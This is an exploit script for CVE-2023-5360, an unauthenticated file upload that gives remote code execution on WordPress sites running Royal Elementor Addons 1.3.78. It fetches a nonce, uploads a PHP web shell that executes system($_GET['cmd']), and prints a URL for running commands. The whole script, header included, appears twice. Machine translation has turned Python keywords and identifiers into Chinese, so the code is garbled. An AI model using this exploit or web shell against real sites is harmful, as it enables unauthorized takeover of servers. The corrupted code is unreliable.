#利用标题: WordPress插件Royal Elementor addons=1.3.78-未经验证的任意文件上传(RCE)
#日期: 2025-04-04
#剥削作者: Sheikh Mohammad Hasan(https://github.com/4M3RR0R)
#供应商HomePage: https://royal-elementor-addons.com
#软件link: https://downloads.wordpress.org/plugin/royal-elementor-addons.1.3.78.zip
#版本:=1.3.78
#测试在: WordPress 6.3.1,皇家Elementor addons 1.3.78,Ubuntu 22.04 + Apache2 + PHP 8.1
#CVE: CVE-2023-5360
#Description:
#1.3.79之前的皇家元素插件和模板WordPress插件没有正确验证上传的文件,
#允许未经验证的用户上传任意文件(例如.php),导致远程代码执行(RCE)。
导入请求
进口JSON
导入
导入argparse
导入tempfile
从urllib.parse导入urljoin
来自Rich.Console进口控制台
requests.packages.urllib3.disable_warnings()
console=console()
def get_nonce(target):
TRY:
r=requests.get(target,verify=false,timeout=10)
m=re.search(r'var \ s+wprconfig \ s*=\ s*({。*?});',r.text)
如果M:
nonce=json.loads(m.group(1))。get('nonce')
返回nonce
Except:
经过
没有返回
def upload_shell(target,nonce,file_path):
ajax_url=urljoin(target,'/wp-admin/admin-ajax.php')
使用open(file_path,'rb')为f:
files={'uploaded_file':('poc.ph $ p',f.read())}
数据={
'Action':'WPR_ADDONS_UPLOAD_FILE',
'max_file_size': 0,
'wasse_file_types':'ph $ p',
'triggering_event':'click',
'wpr_addons_nonce': nonce
}
TRY:
r=requests.post(ajax_url,data=data,files=files,verify=false,timeout=10)
如果r.status_code==200和r.text:中的'url'
RESS=JSON.LOADS(R.TEXT)
返回resp ['data'] ['url']
Except:
经过
没有返回
Def Generate_default_shell():
使用tempfile.NemedTemporaryFile(delete=false,suffix='。php')作为tmp:
shell_code='?php echo'shell by 4m3rr0r-';系统($ _ get ['cmd']);
tmp.write(shell_code.encode())
返回tmp.name
def main():
parser=argparse.argumentparser(description='Royal Elementor addons=1.3.78-未经身份定义的任意文件上传(RCE)')
parser.add_argument(' - u',' - url',必需=true,help='target wordpress url(例如3https://target.com/)')
parser.add_argument(' - f',' - file',help='自定义php shell文件上传')
args=parser.parse_args()
console.print('[cyan] [*]从wprconfig js对象. [/cyan]')
nonce=get_nonce(args.url)
如果不是nonce:
console.print('[red] [ - ]未能检索wprconfig nonce。[/red]')
返回
console.print(f'[green] [+] nonce找到: {nonce} [/green]')
如果args.file:
shell_file=args.file
console.print(f'[cyan] [*]使用提供的shell: {shell_file} [/cyan]')
其他:
console.print('[cyan] [*]没有提供任何外壳。创建默认的RCE shell . [/cyan]')
shell_file=generate_default_shell()
console.print(f'[green] [+]默认shell创建at: {shell_file} [/green]')
console.print('[cyan] [*]上传壳. [/cyan]')
uploaded_url=upload_shell(args.url,nonce,shell_file)
如果UPLOADED_URL:
console.print(f'[green] [+] shell成功上传: {uploaded_url} [/green]')
如果不是args.file:
console.print(f'[yellow] []使用: {uploaded_url}?cmd=id [/yellow]')
其他:
console.print('[red] [ - ]上传失败。目标可能是修补或不易受伤害的。[/red]')
如果name=='__ -Main __':
主要的()
#日期: 2025-04-04
#剥削作者: Sheikh Mohammad Hasan(https://github.com/4M3RR0R)
#供应商HomePage: https://royal-elementor-addons.com
#软件link: https://downloads.wordpress.org/plugin/royal-elementor-addons.1.3.78.zip
#版本:=1.3.78
#测试在: WordPress 6.3.1,皇家Elementor addons 1.3.78,Ubuntu 22.04 + Apache2 + PHP 8.1
#CVE: CVE-2023-5360
#Description:
#1.3.79之前的皇家元素插件和模板WordPress插件没有正确验证上传的文件,
#允许未经验证的用户上传任意文件(例如.php),导致远程代码执行(RCE)。
导入请求
进口JSON
导入
导入argparse
导入tempfile
从urllib.parse导入urljoin
来自Rich.Console进口控制台
requests.packages.urllib3.disable_warnings()
console=console()
def get_nonce(target):
TRY:
r=requests.get(target,verify=false,timeout=10)
m=re.search(r'var \ s+wprconfig \ s*=\ s*({。*?});',r.text)
如果M:
nonce=json.loads(m.group(1))。get('nonce')
返回nonce
Except:
经过
没有返回
def upload_shell(target,nonce,file_path):
ajax_url=urljoin(target,'/wp-admin/admin-ajax.php')
使用open(file_path,'rb')为f:
files={'uploaded_file':('poc.ph $ p',f.read())}
数据={
'Action':'WPR_ADDONS_UPLOAD_FILE',
'max_file_size': 0,
'wasse_file_types':'ph $ p',
'triggering_event':'click',
'wpr_addons_nonce': nonce
}
TRY:
r=requests.post(ajax_url,data=data,files=files,verify=false,timeout=10)
如果r.status_code==200和r.text:中的'url'
RESS=JSON.LOADS(R.TEXT)
返回resp ['data'] ['url']
Except:
经过
没有返回
Def Generate_default_shell():
使用tempfile.NemedTemporaryFile(delete=false,suffix='。php')作为tmp:
shell_code='?php echo'shell by 4m3rr0r-';系统($ _ get ['cmd']);
tmp.write(shell_code.encode())
返回tmp.name
def main():
parser=argparse.argumentparser(description='Royal Elementor addons=1.3.78-未经身份定义的任意文件上传(RCE)')
parser.add_argument(' - u',' - url',必需=true,help='target wordpress url(例如3https://target.com/)')
parser.add_argument(' - f',' - file',help='自定义php shell文件上传')
args=parser.parse_args()
console.print('[cyan] [*]从wprconfig js对象. [/cyan]')
nonce=get_nonce(args.url)
如果不是nonce:
console.print('[red] [ - ]未能检索wprconfig nonce。[/red]')
返回
console.print(f'[green] [+] nonce找到: {nonce} [/green]')
如果args.file:
shell_file=args.file
console.print(f'[cyan] [*]使用提供的shell: {shell_file} [/cyan]')
其他:
console.print('[cyan] [*]没有提供任何外壳。创建默认的RCE shell . [/cyan]')
shell_file=generate_default_shell()
console.print(f'[green] [+]默认shell创建at: {shell_file} [/green]')
console.print('[cyan] [*]上传壳. [/cyan]')
uploaded_url=upload_shell(args.url,nonce,shell_file)
如果UPLOADED_URL:
console.print(f'[green] [+] shell成功上传: {uploaded_url} [/green]')
如果不是args.file:
console.print(f'[yellow] []使用: {uploaded_url}?cmd=id [/yellow]')
其他:
console.print('[red] [ - ]上传失败。目标可能是修补或不易受伤害的。[/red]')
如果name=='__ -Main __':
主要的()